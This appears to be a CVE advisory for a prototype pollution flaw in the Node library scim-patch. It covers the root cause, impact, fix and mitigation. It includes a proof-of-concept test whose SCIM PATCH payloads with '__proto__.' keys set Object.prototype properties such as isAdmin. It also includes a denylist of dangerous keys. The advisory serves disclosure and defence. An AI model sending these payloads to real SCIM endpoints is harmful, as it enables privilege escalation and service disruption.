CVE-2026-48170 — Vulnerability in scim-patch — CVE Details

## Summary `scim-patch` performs prototype pollution when applying a SCIM PATCH operation whose `value` object contains a key like `"__proto__.someProp"`. After one such patch, `Object.prototype.someProp` is set process-wide, affecting every plain object in the Node process. Any service that calls `scimPatch()` on attacker-controlled JSON (i.e. any SCIM endpoint accepting `PATCH` from an external IdP) is exploitable on a stock Node runtime. ## Impact - **Class:** Prototype pollution ([CWE-1321](https://cwe.mitre.org/data/definitions/1321.html)) - **Affected versions:** `<= 0.9.0` (current HEAD `871b1e2`) - **Attack vector:** Network — sent as part of a normal SCIM `PATCH /Users/:id` request body. - **Privileges required:** Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client). - **Scope:** Changed — the bug is in a SCIM library but the side effect (`Object.prototype` mutation) leaks into the entire Node process. Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs: - **Privilege escalation** if any auth/middleware code checks `actor.isAdmin` / `req.user.admin` / similar boolean flags against a plain object that *expects* the key to be absent. - **Logic bypass / DoS** if any code branches on `obj.name`, `obj.type`, `obj.id` etc. against plain objects (e.g. `pg`'s prepared-statement naming check — a real incident at one consumer). - **Persistence:** lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution. ## Root cause In `src/scimPatch.ts:415-427`, `addOrReplaceObjectAttribute` iterates the user-supplied `patch.value` with `Object.entries` and feeds each key to `resolvePaths`, which splits on `.`: ```ts function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any { if (typeof patch.value !== 'object') { ... } // src/scimPatch.ts:423-427 for (const [key, value] of Object.entries(patch.value)) { assign(property, resolvePaths(key), value, patch.op); } return property; } ``` `assign` then walks the resulting key path with no filtering on dangerous keys (`src/scimPatch.ts:437-445`): ```ts function assign(obj: any, keyPath: Array<string>, value: any, op: string) { const lastKeyIndex = keyPath.length - 1; for (let i = 0; i < lastKeyIndex; ++i) { const key = keyPath[i]; if (!(key in obj)) { obj[key] = {}; } obj = obj[key]; // ← obj["__proto__"] === Object.prototype } // ... assigns into Object.prototype } ``` For `keyPath = ["__proto__", "polluted"]`: - `"__proto__" in obj` is always true, so the fresh-object branch is skipped. - `obj = obj["__proto__"]` now points to `Object.prototype`. - The final write lands on `Object.prototype.polluted`. The same shape works for `constructor.prototype` keys. ## Proof of concept Drop this in `test/prototypePollution.test.ts` and run `npm run build && npx mocha lib/test/prototypePollution.test.js`. Both tests pass against HEAD `871b1e2`: ```ts import { scimPatch } from '../src/scimPatch'; import { ScimUser } from './types/types.test'; import { expect } from 'chai'; describe('Prototype pollution via scim-patch', () => { let scimUser: ScimUser; beforeEach(() => { scimUser = JSON.parse(`{ "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "id": "tea_4", "userName": "spiderman", "name": { "familyName": "Parker", "givenName": "Peter" }, "active": true, "emails": [{ "value": "spiderman@superheroes.com", "primary": true }], "roles": [], "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" } }`); }); afterEach(() => { delete (Object.prototype as any).polluted; delete (Object.prototype as any).isAdmin; }); it('pollutes Object.prototype via a value-key containing __proto__', () => { expect(({} as any).polluted).to.equal(undefined); scimPatch(scimUser, [{ op: 'add', path: 'name', value: { '__proto__.polluted': 'yes' } }]); expect((Object.prototype as any).polluted).to.equal('yes'); expect(({} as any).polluted).to.equal('yes'); }); it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => { expect(({} as any).isAdmin).to.equal(undefined); scimPatch(scimUser, [{ op: 'add', path: 'name', value: { '__proto__.isAdmin': true } }]); expect((Object.prototype as any).isAdmin).to.equal(true); expect(({} as any).isAdmin).to.equal(true); }); }); ``` ## Suggested fix Reject the three dangerous keys in `assign()` before the walk. Minimal patch: ```ts const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']); function assign(obj: any, keyPath: Array<string>, value: any, op: string) { for (const key of keyPath) { if (DANGEROUS_KEYS.has(key)) { throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`); } } // ... existing logic } ``` Alternative, slightly safer: switch the walk target to `Object.create(null)` nodes when creating intermediate objects, and use `Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true })` instead of `obj[key] = value` for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist. Either approach is a non-breaking change — legitimate SCIM clients never send these keys. ## Mitigation for consumers who can't upgrade immediately Calling `Object.freeze(Object.prototype)` (and the same on `Array.prototype`, `Function.prototype`) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a `TypeError` in strict mode. Node's `--frozen-intrinsics` flag does this for built-ins automatically. ## Credit Discovered by **Lee Wang (Notion)**. Reported by **David Wu (Notion)**. Report authored by **Claude**. Reviewed by **David Wu**.